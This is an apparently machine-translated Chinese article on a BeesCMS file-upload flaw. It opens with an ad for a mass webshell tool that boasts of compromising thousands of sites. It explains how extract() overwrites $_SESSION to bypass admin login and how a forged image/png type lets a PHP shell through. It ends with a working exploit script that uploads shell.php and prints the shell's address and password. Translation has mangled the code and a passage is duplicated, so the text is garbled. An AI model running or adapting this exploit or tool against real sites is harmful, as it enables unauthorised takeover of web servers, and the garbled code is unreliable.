批量拿web shell工具【最新】内部有多个漏洞,可自动进行url采集,自动爬虫多个引擎和友情链接url,过狗一句话,轻松日出上千。
详情可看:https://note.youdao.com/s/G3zhC0Cw
命令执行,文件操作和sql注入。以sql为例,我只是做了一个代码审计。今天换了个思绪,从文件操作开端。毕竟一个文件操作不对,就是getshell,比一步一步的注入要直爽的多。
一.重点
关于文件操作局部,首先要对php内置的文件操作函数的功用和特性有个大约的理解。
文件获取内容()
文件内容()
挪动_上传_文件()
readfile()
fopen()
文件()
fputs()
fwrite()
…………
这些都是文件读写的常用函数。普通关于这些函数的调用,能够直接搜索文件类的破绽,并且能够跟踪传送上下文参数的过程。说起来挺简单的。其实一条一条看过去还是很费时间的,特别是在快速破绽发掘方面。我对系统构造不熟习,有些参数传送或者办法乍一看可能很蠢。那么如何快速发现一个文件类的破绽呢?
审计文件破绽,首先我会去这个系统的上传局部。上传局部是曾经构建好的从输入到写入再到输出的一套流程。假如里面有问题,很可能直接拿壳。
上传破绽挖了这么多年,各种cms或多或少都会对上传局部停止检查和限制。常见的检查有
1.$_FILES['file']['name']普通会从上传文件的文件名中取出扩展名,与白名单或黑名单停止比照,肯定能否继续上传。
2.$_FILES['file']['type']上传文件的类型普通与白名单停止比拟。
3.$_FILES['file']['tmp_name']上传文件的暂时文件。一些比拟严谨的CMS会在这个阶段用getimagesize等函数检查暂时文件。假如文件是非法的,直接丢弃它。
常见的限制有
1.运用函数is_uploaded_file()将检查$_FILES['file']['tmp_name']能否是合法上传的文件。当$_FILES被破绽掩盖时,可修正的$_FILES['file']['tmp_name']将是一个极大的平安要挟。
2.单独运用move_uploaded_file()函数来处置上传的文件,缘由同上。move_uploaded_file函数也会判别能否是合法文件。降低系统存在可变掩盖破绽时躺枪的概率。
3.文件名是不可控的,后缀仅限于数组成员,如
$ext=array('jpg ',' png ',' gif ');
$filename = 'user_avatar_01 '。$ ext[$ s];
接下来,让我们看一下我们的目的业务
第二,实战
我们来看看beescms的上传代码。
if(isset($ _ FILES[' up ']){
if(is _ uploaded _ file($ _ FILES[' up '][' tmp _ name ']){
if($up_type=='pic'){
$ is _ thumb = empty($ _ POST[' thumb '])?0:$ _ POST[' thumb '];
$ thumb _ width = empty($ _ POST[' thumb _ width '])?$ _ sys[' thump _ width ']:intval($ _ POST[' thumb _ width ']);
$ thumb _ height = empty($ _ POST[' thumb _ height '])?$ _ sys[' thump _ height ']:intval($ _ POST[' thumb _ height ']);
$ logo = 0;
$ is _ up _ size = $ _ sys[' upload _ size ']* 1000 * 1000;
$ value _ arr = up _ img($ _ FILES[' up '],$is_up_size,array('image/gif ',' image/jpeg ',' image/png ',' image/jpg ',' image/bmp ',' image/pjpeg '),$is_thumb,$thumb_width,$thumb_height,$ logo);
$ pic = $ value _ arr[' pic '];
假如(!empty($ value _ arr[' thumb ']){
$ pic = $ value _ arr[' thumb '];
}
$str="$(self.parent.document)。find('#{$get} ')。val(' { $ pic } ');self . parent . TB _ remove();";
echo $ str
退出;
}//图像上传
}否则{
Die('未上传任何文件或文件大小超越效劳器限制大小并被返回以重新上传');
}
}
能够看出,is_uploaded_file是用来检查上传文件能否合法的,所以即便系统存在可变掩盖破绽(这个系统的确存在,后面会讨论),也没有太大协助。
其实up_img函数是用来上传的。让我们来看看吧。
function up_img($file,$size,$type,$thumb=0,$thumb_width= ",$thumb_height= ",$logo=1,$pic_alt="){
if(文件_存在(数据_途径。sys _ info . PHP '){ include(DATA _ PATH。sys _ info . PHP’);}
if(is _ uploaded _ file($ file[' tmp _ name ']){
if($file['size']>$size){
msg(‘图片超越’。$大小。大小’);
}
$ pic _ name = pathinfo($ file[' name ']);//图片信息
$ file _ type = $ file[' type '];
假如(!in _ array(strtolow($ file _ type),$type)){
Msg(“上传图片格式不正确”);
}
$ path _ name = " upload/img/";
$path=CMS_PATH。$ path _ name
假如(!file_exists($path)){
@ mkdir($ path);
}
$up_file_name=empty($pic_alt)?日期(' YmdHis ')。兰德(110000):$ pic _ alt;
$up_file_name2=iconv('UTF-8 ',' GBK ',$ up _ file _ name);
$文件名= $途径。$up_file_name2。'.'。$ pic _ name[' extension '];
if(文件存在($文件名)){
Msg('此图片曾经存在,请更改图片称号!');//肯定称号能否相同。
}
$ return _ name[' up _ pic _ size ']= $ file[' size '];//上传图像大小
$ return _ name[' up _ pic _ ext ']= $ pic _ name[' extension '];//上传文件扩展名
$ return _ name[' up _ pic _ name ']= $ up _ file _ name;//上传图像称号
$ return _ name[' up _ pic _ path ']= $ path _ name;//上传图像途径
$ return _ name[' up _ pic _ time ']= time();//上传时间
unset($ pic _ name);
//开端上传
假如(!move _ uploaded _ file($ file[' tmp _ name '],$file_name)){
Msg('图片上传失败',",0);
}
好吧,让我们看看他的检查和限制
$ file _ type = $ file[' type '];
假如(!in _ array(strtolow($ file _ type),$type)){
Msg(“上传图片格式不正确”);
}
在这里,检查上传文件的类型。假如类型不在白名单中,将直接提示错误。
其实这张支票是没用的。类型来自客户端,你能够随意伪造。
让我们来看看保管的文件名。
$ pic _ name = pathinfo($ file[' name ']);//图片信息
…………
$up_file_name=empty($pic_alt)?日期(' YmdHis ')。兰德(110000):$ pic _ alt;
$up_file_name2=iconv('UTF-8 ',' GBK ',$ up _ file _ name);
$文件名= $途径。$up_file_name2。'.'。$ pic _ name[' extension '];
没有经过任何检查,我们直接把$file['name'](也就是我们上传时的文件名)的后缀取到了重生成的文件中,只是伪造了合法的类型就能够正常获取外壳了。
第三,迂回
完毕了吗?不是,其实beecms系统前台没有上传点。。。的一切上传功用都需求后台权限。当然一个后台getshell是满足不了的,所以我继续挖。我们来看看如何考证后台权限。
Admin/upload.php第二行
include(' init . PHP ');
Admin/init.php第54行
假如(!is _ log in()){ header(' location:log in . PHP ');退出;}
看这个is_login函数。
包括/fun.php第997行
函数是_login(){
if($_SESSION['登录']==1&&$_SESSION['管理']){
if(time()-$ _ SESSION[' log in _ time ']> 3600){
log in _ out();
}否则{
$ _ SESSION[' log in _ time ']= time();
@ session _ regenerate _ id();
}
返回1;
}否则{
$ _ SESSION[' admin ']= ' ';
$ _ SESSION[' admin _ without ']= ' ';
$ _ SESSION[' admin _ id ']= ' ';
$ _ SESSION[' admin _ time ']= ' ';
$ _ SESSION[' log in _ in ']= ' ';
$ _ SESSION[' log in _ time ']= ' ';
$ _ SESSION[' admin _ IP ']= ' ';
返回0;
}
}
看这个is_login函数。
包括/fun.php第997行
函数是_login(){
if($_SESSION['登录']==1&&$_SESSION['管理']){
if(time()-$ _ SESSION[' log in _ time ']> 3600){
log in _ out();
}否则{
$ _ SESSION[' log in _ time ']= time();
@ session _ regenerate _ id();
}
返回1;
}否则{
$ _ SESSION[' admin ']= ' ';
$ _ SESSION[' admin _ without ']= ' ';
$ _ SESSION[' admin _ id ']= ' ';
$ _ SESSION[' admin _ time ']= ' ';
$ _ SESSION[' log in _ in ']= ' ';
$ _ SESSION[' log in _ time ']= ' ';
$ _ SESSION[' admin _ IP ']= ' ';
返回0;
}
}
这里没有检查用户信息,只是简单判别能否有login_in admin的两个会话标识位,能否超时。
如前所述,该系统具有可变掩盖破绽。假如能够掩盖(添加)这些$_SESSION值,就能够绕过这个检查。
$_SESSION掩盖有一个先决条件。session_start()必需呈现在掩盖之前,或者即便$_SESSION变量被掩盖,一旦session_start()变量被初始化。
看一下掩盖率。
Includes/init.php局部代码省略。
session_start()。
@include(INC_PATH。fun . PHP’);
define('IS_MB ',IS _ MB());
unset($HTTP_ENV_VARS,$HTTP_POST_VARS,$HTTP_GET_VARS,$HTTP_POST_FILES,$ HTTP _ COOKIE _ VARS);
假如(!get_magic_quotes_gpc())
{
if (isset($_REQUEST))
{
$ _ REQUEST = addsl($ _ REQUEST);
}
$ _ COOKIE = addsl($ _ COOKIE);
$ _ POST = addsl($ _ POST);
$ _ GET = addsl($ _ GET);
}
if(isset($ _ REQUEST)){ $ _ REQUEST = fl _ value($ _ REQUEST);}
$ _ COOKIE = fl _ value($ _ COOKIE);
$ _ GET = fl _ value($ _ GET);
@ extract($ _ POST);
@ extract($ _ GET);
@ extract($ _ COOKIE);
一个全局过滤的代码,最后用extract初始化变量。由于没有运用EXTR_SKIP参数,所以掩盖了一切变量,并且由于曾经执行了session_start()。
因而您能够掩盖(添加)任何$_SESSION值。这样,您就能够绕过后台检查,将一个后台getshell变成前台getshell。
四。应用
很好用。首先,后index.php。
_ SESSION[登录]= 1 & _ SESSION[管理]= 1 & _ SESSION[登录时间]=9999999999
然后翻开/admin/upload.php,选择一个要上传的php文件。
将上传包中的内容类型修正为image/png。
你做梦去吧。让我们把exp放上去。。。
脚本有攻击性,请在当地环境下测试!
不要在任何网站上运用这个脚本!
运用此脚本形成的一切结果与我无关!
print_r('
****************************************************
*
* Beescms文件上传破绽
*按SMLDHZ
* QQ:3298302054
*用法:php '。basename(__FILE__),'全球资源定位器(Uniform Resource Locator)
* php '。basename(__FILE__),'[URL]http://www . bees CMS . com/bees CMS/[/URL]
*
****************************************************
');
if($argc!=2){
退出;
}
$ uri = $ argv[1];
$ payload 1 = ' _ SESSION[log in _ in]= 1 & _ SESSION[admin]= 1 & _ SESSION[log in _ time]= 9999999999 ';
$payload2 = array(
向上”;filename="shell.php " '。" \ r \ n content-Type:image/png \ r \ n \ r \ n " = > ' "
);
preg_match('#Set-Cookie:(。*);# '、myCurl($uri。"/index.php ",$payload1),$ match);
假如(!isset($ match[1]){
死('[-]Opps!无法获取Cookie ...);
}
echo "+"获取了Cookie:"。$match[1]。”\ r \ n”;
echo "[+]正在尝试获取shell...\ r \ n ";
$tmp = myCurl($uri。"/admin/upload.php ",$payload2,$ match[1]);
preg_match('#val\(\ '(。*)\'\)# ',$tmp,$ shell);
假如(!isset($ shell[1]){
死('[-]Opps!无法获取外壳...请参阅下面的内容。$ tmp);
}
echo "+]你的shell:"。$uri。“/upload/”。$shell[1]。“[密码]:x”;
函数myCurl($url,$postData= ' ',$cookie=''){
$ ch = curl _ init();
curl_setopt($ch,CURLOPT_URL,$ URL);
curl_setopt($ch,CURLOPT_POST,true);
curl_setopt($ch,CURLOPT_HEADER,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$ post data);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
假如($cookie!= ''){
curl_setopt($ch,CURLOPT_COOKIE,$ COOKIE);
}
$ ret = curl _ exec($ ch);
curl _ close($ ch);
返回$ ret
}
摘要
前台变量掩盖$_SESSION以绕过后台考证。